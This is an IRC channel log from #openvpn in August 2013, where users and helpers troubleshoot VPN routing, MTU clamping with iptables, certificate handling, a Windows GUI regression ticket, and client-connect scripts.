23:33 <@EugeneKay> Da fuq you smokin
23:33 < jeev> i mean
23:33 <@EugeneKay> !route
23:33 < jeev> just tunnel them together
23:33 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
23:33 <@vpnHelper> behind the server or client
23:43 -!- chiiph_ [~chiiph@unaffiliated/chiiph] has joined #openvpn
23:44 -!- krapper [~krapper@territory.krapper.net] has quit [Quit: Disconnecting from stoned server.]
23:44 -!- krapper [~krapper@23.21.191.223] has joined #openvpn
23:44 -!- chiiph [~chiiph@unaffiliated/chiiph] has quit [Remote host closed the connection]
23:44 -!- dfresha [krapper@territory.krapper.net] has joined #openvpn
23:44 -!- krapper [~krapper@23.21.191.223] has quit [Read error: Connection reset by peer]
--- Day changed Sat Aug 03 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:06 -!- dfresha [krapper@territory.krapper.net] has quit [Quit: Disconnecting from stoned server.]
00:06 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
00:11 -!- riddle [riddle@us.yunix.net] has quit [Read error: Connection reset by peer]
00:31 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-vosbrebwxekocrfz] has quit [Read error: Connection reset by peer]
00:31 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jauozhlpmfpcauts] has joined #openvpn
01:04 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jauozhlpmfpcauts] has quit [Ping timeout: 256 seconds]
01:28 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
02:17 -!- HyperGli_ [~HyperGlid@110.184.82.245] has quit [Ping timeout: 264 seconds]
02:34 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
02:45 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
02:45 -!- mode/#openvpn [+o mattock_afk] by ChanServ
02:45 -!- mattock_afk is now known as mattock
02:46 -!- JAVACODER [~JAVACODER@2.190.34.176] has joined #openvpn
03:13 -!- abrkn [~abkn@195.159.164.228] has joined #openvpn
03:13 -!- abrkn\ [~abkn@195.159.164.228] has quit [Read error: Connection reset by peer]
03:32 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
03:32 -!- Linmu [~Linmu@203.70.194.104] has quit [Client Quit]
03:32 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
03:56 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ibeyvsedqzzdxpqd] has joined #openvpn
04:19 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
04:24 -!- riddle [riddle@us.yunix.net] has joined #openvpn
04:35 -!- HyperGlide [~HyperGlid@110.184.83.121] has joined #openvpn
04:45 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
05:23 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ibeyvsedqzzdxpqd] has quit [Ping timeout: 264 seconds]
05:29 -!- JAVACODER [~JAVACODER@2.190.34.176] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
06:02 -!- dupondje [~dupondje@artemis.dupie.be] has joined #openvpn
06:02 < dupondje> I want to do a bugreport, but version 2.3.2 is not available in the interface
06:03 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
06:11 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
06:13 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
06:15 -!- Denial [Denial@90.202.5.141] has joined #openvpn
06:20 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
06:24 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
06:24 < dupondje> https://community.openvpn.net/openvpn/ticket/315
06:24 < dupondje> :)
06:24 <@vpnHelper> Title: #315 (OpenVPN gets killed after Remote Desktop session disconnect) – OpenVPN Community (at community.openvpn.net)
06:27 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
06:31 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 246 seconds]
06:44 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
06:46 -!- mdupont is now known as h4ck3rm1k3
06:46 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
07:30 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
07:32 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
07:32 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
07:33 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Read error: Connection reset by peer]
07:45 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
08:04 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 268 seconds]
08:06 < h4ck3rm1k3> hi all, I have a problem that I am connected to the vpn in my office and when I connect at home the connection is reset every minute, anyway to kick off my other session or workaround this problem ?
08:06 < h4ck3rm1k3> this is connecting with the same user
08:09 <@krzee> make new certs for every login
08:10 <@krzee> !dupe
08:10 <@vpnHelper> "dupe" is (#1) see --duplicate-cn in the manual (!man) to see how to allow multiple clients to use the same key (NOT recommended) or (#2) instead, use !pki to make a cert for each user
08:10 <@krzee> !pki
08:10 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
08:10 <@vpnHelper> signed specially as a server (see !servercert)
08:13 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
08:14 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:29 -!- speed_racer84 [~speed_rac@50-79-142-46-static.hfc.comcastbusiness.net] has joined #openvpn
08:49 -!- scanf [~x32@unaffiliated/scanf] has quit [Read error: Operation timed out]
08:52 -!- sauce_ [~sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
08:52 -!- scanf [~x32@unaffiliated/scanf] has joined #openvpn
08:54 -!- kloeri_ [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
08:55 -!- master_o1_master [~master_of@p4FF242F9.dip0.t-ipconnect.de] has joined #openvpn
08:55 -!- krapper [krapper@territory.krapper.net] has quit [Quit: Disconnecting from stoned server.]
08:55 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
08:55 -!- uuuppz_ [uuuppz@78.129.207.46] has quit [Ping timeout: 240 seconds]
08:55 -!- master_of_master [~master_of@p4FF242F9.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
08:55 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 240 seconds]
08:55 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Remote host closed the connection]
08:55 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
08:55 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
08:55 -!- ele [~maarten@pinky.elexer.com] has quit [Ping timeout: 240 seconds]
08:56 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
08:59 -!- uuuppz [uuuppz@78.129.207.46] has joined #openvpn
09:19 -!- speed_racer84 [~speed_rac@50-79-142-46-static.hfc.comcastbusiness.net] has quit [Ping timeout: 276 seconds]
09:33 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
09:40 -!- kloeri_ is now known as kloeri
09:49 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 264 seconds]
09:49 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
10:19 -!- h4ck3rm1k3 [~mdupont@flossk/mdupont] has left #openvpn ["Ex-Chat"]
10:43 -!- Haigha [~root@2001:41d0:1:d4e5:dead::42] has joined #openvpn
10:44 < Haigha> hi, is there a way to share a ifconfig-pool on multiple servers ?
10:48 -!- Devastatr [~devas@186.214.111.15] has joined #openvpn
10:49 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 268 seconds]
10:51 <+pekster> dupondje: Thanks, I'm adding in 2.3.2 to the community tracker now, and I'll update your bug to reflect that
10:55 -!- Devastatr [~devas@186.214.111.15] has quit [Changing host]
10:55 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
10:55 -!- Devastatr is now known as Devastator
10:56 <+pekster> dupondje: Also, thanks for the bugreport -- looks like that's a patch I contributed, although why *that* causes your application to disconnect is really odd. Are you using any script hooks?
11:27 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 245 seconds]
11:41 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
11:54 -!- [1]Chrismo16 [~Chrismo16@107-220-244-157.lightspeed.miamfl.sbcglobal.net] has joined #openvpn
11:57 -!- Chrismo16 [~Chrismo16@107-220-244-157.lightspeed.miamfl.sbcglobal.net] has quit [Ping timeout: 264 seconds]
11:57 -!- [1]Chrismo16 is now known as Chrismo16
12:04 -!- Freeaq [~dolf@83.232.96.217] has joined #openvpn
12:06 < scanf> can openvpn work with TLSv1.2, is that user selectable?
12:10 -!- [1]Chrismo16 [~Chrismo16@107-220-244-157.lightspeed.miamfl.sbcglobal.net] has joined #openvpn
12:13 -!- Chrismo16 [~Chrismo16@107-220-244-157.lightspeed.miamfl.sbcglobal.net] has quit [Ping timeout: 245 seconds]
12:13 -!- [1]Chrismo16 is now known as Chrismo16
12:32 -!- pfoo [~pfoo@unaffiliated/pfoo] has joined #openvpn
12:32 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has joined #openvpn
12:33 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
12:34 < copper> !welcome
12:34 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
12:34 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:34 < copper> !redirect
12:34 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:34 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
12:35 < copper> !ipforward
12:35 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
12:35 < copper> !nat
12:35 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
12:35 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 276 seconds]
12:36 < copper> ok
12:37 < copper> I'm using OpenVPN on my server with --redirect-gateway, with "-A POSTROUTING -s 10.21.32.0/24 -o eth0 -j MASQUERADE" in my iptables configuration
12:37 < copper> I'm rerouting all my laptop's traffic through the vpn
12:37 < copper> it works
12:38 < copper> BUT, the strange thing is, some sites, like Facebook and Twitter, are super slow that way (others are super fast)
12:38 < copper> when I use Firefox on my laptop with a SOCKS proxy with "ssh -D" (and nothing more), Facebook and Twitter are super fast
12:38 < copper> I don't understand what makes my OpenVPN setup so slow in SOME cases only
12:39 < copper> let me pastebin my configuration
12:40 < copper> iptables: http://pastebin.com/RmPncBKk
12:41 < copper> openvpn: http://pastebin.com/yHG3zNMU
12:42 < copper> and the cases where my openvpn setup is slow, are consistent
12:42 < copper> i.e. Facebook and Twitter are always super slow
12:42 < copper> and they're always super fast either via my ADSL line only, or via the ssh socks proxy
12:43 < copper> any idea what could possibly be going on here?
12:43 < copper> I tried tcp and udp, no change
12:43 < copper> I tried another port, no change
12:43 < copper> I turned LZO compression off, no change
12:44 <+pekster> It could in theory be something like MTU issues on an ad-network or something one of those sites uses (thus it takes time for the failure to time out, and then it "seems not to matter" on the page content if some minor component of ads are missing
12:44 <+pekster> You could try adding some MTU-clampping to your mangle/FORWARD netfilter rules and see if that improves things
12:45 <+pekster> Otherwise I'm not really sure; you can feel free to ping across a --redirect-gateway link to get an idea of how the VPN is impacting your RTT (or even MTUs if you use a proper traceroute utility) but to see how high-level things like web pages are impacted, you'd want to use something like the netdev console of FF
12:48 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has quit [Ping timeout: 264 seconds]
12:48 -!- copper [~copper@unaffiliated/copper] has quit [Ping timeout: 264 seconds]
12:54 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
12:54 < copper> hello
12:55 < copper> I don't know if my previous messages went through
12:56 < copper> quick recap: I'm forwarding all of my laptop's traffic through my server's OpenVPN. The problem is that some sites, like Facebook and Twitter, are very slow via Openvpn, but very fast via a simple ssh -D SOCKS proxy
12:56 < copper> openvpn configuration: http://pastebin.com/yHG3zNMU
12:56 < copper> iptables configuration: http://pastebin.com/RmPncBKk
12:56 < copper> I tried udp, tcp, LZO on and off, different ports, nothing helps
12:59 <+pekster> copper, http://www.fpaste.org/29927/52763137/raw/
13:03 -!- copper [~copper@unaffiliated/copper] has quit [Ping timeout: 264 seconds]
13:03 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
13:03 < copper> sorry
13:04 < copper> did anything I say go through?
13:04 <+pekster> copper, http://www.fpaste.org/29927/52763137/raw/ (recap if you missed it)
13:04 <+pekster> Nothing since that though, beyond what you repeated
13:05 < copper> "You could try adding some MTU-clampping to your mangle/FORWARD netfilter rules"
13:05 < copper> I'm sorry I don't know what that means?
13:05 < copper> thanks for the recap btw
13:05 < copper> my iptables config is just what I found on the openvpn faq
13:05 < copper> I don't know much about iptables beyond that
13:06 <+pekster> In mangle, something like `-A FORWARD -p tcp --tcpflags SYN,FIN,RST SYN -j TCPMSS --clamp-mss-to-pmtu`
13:06 < copper> http://forums.whirlpool.net.au/archive/1197538
13:06 <@vpnHelper> Title: MTU and iptables masquerading - Networking (at forums.whirlpool.net.au)
13:07 <+pekster> That'll clamp the MSS field of the TCP header to the pMTU (when the OS knows it) to fix broken remote endpoints that can't perform pMTU-discovery themselves
13:07 < copper> basically what you just said :)
13:07 <+pekster> It's not a silver-bullet, but it can hack around stupidity at either endpoint (or less frequencly dumb routers inbetween that drop ICMP errors)
13:08 <+pekster> It's also worth taking the time to verify if your own infrastructure isn't the cause of such stupidity (ie: allowing RELATED inbound replies across stateful firewalls
13:09 < copper> pekster: before or after MASQUERADE?
13:09 <+pekster> mangle != nat
13:09 <+pekster> if you need a refresher on how the tables are structured, consult iptables(8) or perhaps #netfilter for more hands-on help
13:10 <+pekster> They have a wonderful packet flow diagram linked at the bottom of one of the /TOPIC links too
13:10 < copper> ok I'll try to figure it out
13:10 < copper> thanks for the heads up
13:10 <+pekster> You do MSS-mangling (and other header-related tasks) in the mangle table, not NAT
13:10 <+pekster> s/NAT/nat/
13:10 < copper> yes, I see
13:12 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
13:20 -!- sgharms [~sgharms@192.241.203.189] has joined #openvpn
13:33 < copper> pekster: neither http://pastebin.com/VzsKdnQt nor http://pastebin.com/rYeZqG4T seem to help
13:33 < copper> am I doing it right?
13:41 -!- kubbing [~kubbing@ip-89-177-146-14.net.upcbroadband.cz] has joined #openvpn
13:41 -!- kirin` [telex@gateway/shell/anapnea.net/x-nhlmzxondihddadz] has quit [Ping timeout: 276 seconds]
13:42 -!- kirin` [telex@gateway/shell/anapnea.net/x-ktchdlbgmagjnveb] has joined #openvpn
13:43 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
13:47 <+pekster> copper: Yes, the first is generally preferred, although the 2nd form catches locally outbound traffic too
13:47 <+pekster> I was just guessing at an MTU issue, which is 'somewhat common'
13:49 < copper> would it be normal that OpenVPN be affected by it, but not "ssh -D"?
13:51 <+pekster> SOCKS makes the connection on the server-end, whereas OpenVPN is transporting L3 packets
13:51 <+pekster> Different OSI layers
13:51 <+pekster> So, the answer to that question is a bit complex and is "maybe"
13:53 < copper> I'm desperate :(
13:54 -!- Chrismo16 [~Chrismo16@107-220-244-157.lightspeed.miamfl.sbcglobal.net] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- The alternative IRC client]
13:56 -!- Leonassan [~Leonassan@vivo/development/Leonassan] has quit []
14:10 < p2> so my entire routing goes out on my vpn, machines can't see each other, ifi reconnect just one machine it fixes everyone, anyone else seen this issue?
14:12 -!- kirin` [telex@gateway/shell/anapnea.net/x-ktchdlbgmagjnveb] has quit [Ping timeout: 245 seconds]
14:12 -!- kirin` [telex@gateway/shell/anapnea.net/x-prxrvzjwwvgeliod] has joined #openvpn
14:13 -!- kubbing [~kubbing@ip-89-177-146-14.net.upcbroadband.cz] has quit [Read error: Operation timed out]
14:13 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:22 -!- zampa_ is now known as zampa
14:23 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has quit [Changing host]
14:23 -!- zampa [zampa@luda/zampa] has joined #openvpn
14:29 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 264 seconds]
14:39 <+pekster> dupondje: I updated your ticket; I need to dig further into the real cause, but for now a work-around for you is to connect from the console (or optionally right-click on a config and run in console, but you still need to run with admin privs if you've got UAC enabled)
14:39 < BtbN> Can't openvpn run as a service?
14:40 <+pekster> Yes, that would be a 2nd alternative
14:40 <+pekster> Still, something is causing a SIGTERM to get sent when it really shouldn't
14:40  * pekster shrugs. More Windows-nonsense I'm sure
14:40 < BtbN> There's SIGTERM on windows?
14:41 <+pekster> Effectively; in console mode a keyboard function key gets mapped, and in service mode windows event objects get mapped
14:42 <+pekster> OpenVPN calls it 'SIGTERM' so that the code can be abstracted elsewhere (see win32.c for details)
14:42 < BtbN> hm, so maybe win32 sends something to tell OpenVPN that the session was detached, and openvpn thinks it's asking it to shutdown.
14:42 <+pekster> Right
14:43 <+pekster> I need to poke at it (no more time today for that) but if you're interested in hacking, feel free to poke at ticket #315 in the tracker; my update is current as of a few minutes ago ;)
14:43 <+pekster> Or any other tickets for that matter ;)
14:49 -!- copper [~copper@unaffiliated/copper] has quit [Quit: leaving]
14:50 -!- Denial [Denial@90.202.5.141] has quit []
15:21 -!- convict [~convict@2604:2880::fc04:5824] has joined #openvpn
15:23 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
15:24 -!- JAVACODER [~JAVACODER@2.190.34.176] has joined #openvpn
15:25 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
15:27 -!- JAVACODER [~JAVACODER@2.190.34.176] has quit [Client Quit]
15:32 -!- __raven [~raven@dslb-094-216-202-100.pools.arcor-ip.net] has joined #openvpn
15:33 < dupondje> pekster: thanks for the response :)
15:34 < __raven> need help with very special co figuration of openvpn in ipfire and route problems please
15:34 < __raven> anyone familiar with ipfire?
15:34 <+pekster> dupondje: You said you were using the 2.3.2 sources, or git master for your test? And you rebuilt the exact same build with/without that commit (and used the *same* GUI version) and it worked/didn't?
15:36 < dupondje> pekster: I fetched 2.3.2 sources, and reversed that commit and then build it and just replaced openvpn.exe on my win7 system.
15:36 < dupondje> haven't build 2.3.2 cleanly myself (so with the commit included)
15:36 < dupondje> thinking it might be build issue maby ?
15:36 <+pekster> Okay, weird. Clearly the GUI plays a role in this, but I'm not sure what
15:37 <+pekster> I just wanted to make sure you were using the 2.3.2 GUI when you got it to work
15:37 <+pekster> More to come when I find additional time to throw at the problem (or someone else beats me to it.) The fact that my commit makes the difference is just goofy, given what it does
15:37 < dupondje> mmm but what I think now
15:37 <+pekster> Windows is just such a PITA
15:38 < dupondje> I reinstalled 2.3.1 yesterday to have a workaround
15:38 < dupondje> then I replaced the openvpn.exe with my own compiled version
15:38 < dupondje> but that means the gui is still 2.3.1
15:38 < dupondje> let me retest
15:40 <+pekster> It it fails with your modified exe (without my commit) but with 2.3.2 GUI, please note that in the ticket, as the issue is then a signalling change in the GUI, not the commit breaking something
15:41 <+pekster> (I've no clue what would be run through openvpn_execve() via the GUI but *not* in the CLI, so that's my mystery to tackle over the next few days)
15:43 < dupondje> ok, my modified exe with 2.3.2 is same issue
15:43 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
15:43 < dupondje> so its indeed not your commit :)
15:44 <+pekster> So the new "fix" for you is to use the 2.3.1 GUI executable with the 2.3.2 install
15:45 <+pekster> (until the GUI regression is fixed)
15:45 < dupondje> yep indeed
15:49 < dupondje> replied to the ticket
15:50 < dupondje> what version is used for openvpn-gui ?
15:50 < dupondje> is it the git master or ?
16:00 <+pekster> The openvpn-build project references the source
16:00 <+pekster> IIRC it's just a tarball up on the releases.openvpn.net site somewhere
16:00  * pekster needs to vanish until late evening US time now
16:03  * dupondje noticed http://sourceforge.net/p/openvpn-gui/code/ci/47cff8747762cdecaced5045daf6855c654ad7a0/
16:03 < dupondje> :)
16:03 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
16:05 < copper> I give up on the OpenVPN slowness for today
16:05 < copper> I'll continue tomorrow
16:14 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 268 seconds]
16:14 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
16:18 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 260 seconds]
16:20 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
16:26 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
16:35 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 240 seconds]
16:39 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
16:39 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Excess Flood]
16:41 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
16:51 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
16:53 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
16:53 -!- mode/#openvpn [+v s7r] by ChanServ
16:54 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
16:55 < __raven> openvpn on ipfire: connection successful but no traffic at all - need help pleas4e
16:56 -!- sgharms [~sgharms@192.241.203.189] has left #openvpn []
17:01 < nosuid> Any literature on openvpn?
17:17 < kro[au]> !snat > __raven
17:18 < __raven> ?
17:20 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 245 seconds]
17:20 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
17:35 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: .]
17:46 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:51 < Freeaq> I want for every connection to create a firewall rule, and have it removed when the connection ends. How can I accomplish that?
17:52 < kisom> Freeaq: Use --client-connect and --client-disconnect
17:53 < __raven> pastebin.com/i0VR7MS3
17:55 < Freeaq> kisom, thanks. Do you have an idea on how to  know what to recognize the iptables rule so I can remove it at disconnecting?
17:56 < kisom> Freeaq: I'd keep track using a separate database and rebuilding the firewall rules from scratch on each connect.
17:56 < kisom> In fact, that's exactly how I do it today.
17:57 < Freeaq> I'm not sure I follow. This is the kind of rule I want to add/delete; ip6tables -t nat -A POSTROUTING -o eth0 -s fd08:bdac:9676::1000 -j SNAT --to-source 2a03:f80:ed15:37:235:56:92:1000
17:57 < convict> dope
17:57 < Freeaq> kisom, could you elaborate?
17:59 < kisom> Freeaq: I store all the connections in a MySQL database. When something changes, I rebuild the entire firewall ruleset and apply it. That way I don't have to mess around trying to figure out what to modify in iptables.
17:59 < Freeaq> aaah
17:59 < Freeaq> that seems like a lot of work for a handful of clients ;)
17:59 < Freeaq> it's a good idea though
18:00 < Freeaq> I can do that filesystem based, coming to think of it
18:00 < kisom> Probably. I have about 5k clients at peak hours
18:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:00 -!- __raven is now known as raven_sleepmode
18:00 < Freeaq> kisom, how many (dis)connects per hour do you have?
18:01 < kisom> Really depends on what time it is. Most people disconnect when they leave work.
18:02 < kisom> It's around ~1500 disconnects at 17:00 per hour, but it's splitted up over multiple servers.
18:16 < Freeaq> kisom, if you dont mind me asking; how do you monitor your vpn infrastructure?
18:36 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has joined #openvpn
18:42 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 264 seconds]
18:42 -!- p2 [~p2@ip68-99-213-192.ph.ph.cox.net] has left #openvpn []
18:42 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
18:43 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Quit: Felt like it.]
18:48 -!- Emayu [Emayu@c-24-9-154-162.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer]
18:48 -!- master_of_master [~master_of@p4FF24999.dip0.t-ipconnect.de] has joined #openvpn
18:52 -!- master_o1_master [~master_of@p4FF242F9.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
19:03 -!- raven_ [~raven@dslb-178-002-131-160.pools.arcor-ip.net] has joined #openvpn
19:07 -!- raven_sleepmode [~raven@dslb-094-216-202-100.pools.arcor-ip.net] has quit [Ping timeout: 264 seconds]
19:10 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
19:15 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has quit [Ping timeout: 256 seconds]
19:20 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has joined #openvpn
19:30 -!- houkouonchi [~linux@pool-108-38-63-48.lsanca.fios.verizon.net] has joined #openvpn
19:31  * houkouonchi is back (gone 28:02:24)
19:31 < houkouonchi> anyone know if there is a way to have the key (used via secret option in config file) inside the actual config file so its not a seperate file?
19:32 < Aketzu> yes there is
19:32 < Aketzu> or at least for certificates
19:32 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has quit [Ping timeout: 276 seconds]
19:32 < houkouonchi> how do you do it for certificates?
19:32 < Aketzu> http://www.brainfart.sg/index.php/2012/05/embedding-certificate-into-openvpn-config/
19:32 <@vpnHelper> Title: Embedding Certificates into OpenVPN Config « Brainfart.SG (at www.brainfart.sg)
19:33 < houkouonchi> ah i wonder if you can <secret> and </secret>
19:33 < Aketzu> test
19:35 < Aketzu> "OpenVPN allows including files in the main configuration for the --ca, --cert, --dh, --extra-certs, --key, --pkcs12, --secret and --tls-auth options."
19:36 < houkouonchi> hmm i wonder if that was added in a later version
19:36 < houkouonchi> Options error: Unrecognized option or missing parameter(s) in /etc/openvpn/hakujin.conf:10: <secret> (2.0.9)
19:37 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has joined #openvpn
19:38 < houkouonchi> yeah it works on openvpn 2.2.22
19:38 < houkouonchi> 2.2.2*
19:38 < houkouonchi> great thanks for the help Aketzu
19:39 < houkouonchi> I setup dozens of gaming vpn's for people and was trying to figure out a way to make it a single file so its easier to have people run/use
19:41 -!- danfromuk [~IceChat77@unaffiliated/danfromuk] has joined #openvpn
19:41 < danfromuk> Hi. Is it possible to get openvpn to email me whenever there is a successful connection?
19:42 < houkouonchi> if its a *nix machine I don't think that would be very hard to script
19:43 < danfromuk> How do I trigger a server script on connect?
19:43 < Aketzu> --client-connect
19:44 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:45 < danfromuk> perfect. thanks
19:45 -!- danfromuk [~IceChat77@unaffiliated/danfromuk] has quit [Client Quit]
19:47 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
20:06 -!- levifig [~levifig@spwn.co] has joined #openvpn
20:10 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has quit [Ping timeout: 276 seconds]
21:31 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has joined #openvpn
21:51 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
21:59 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has quit [Quit: WeeChat 0.4.1]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:10 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
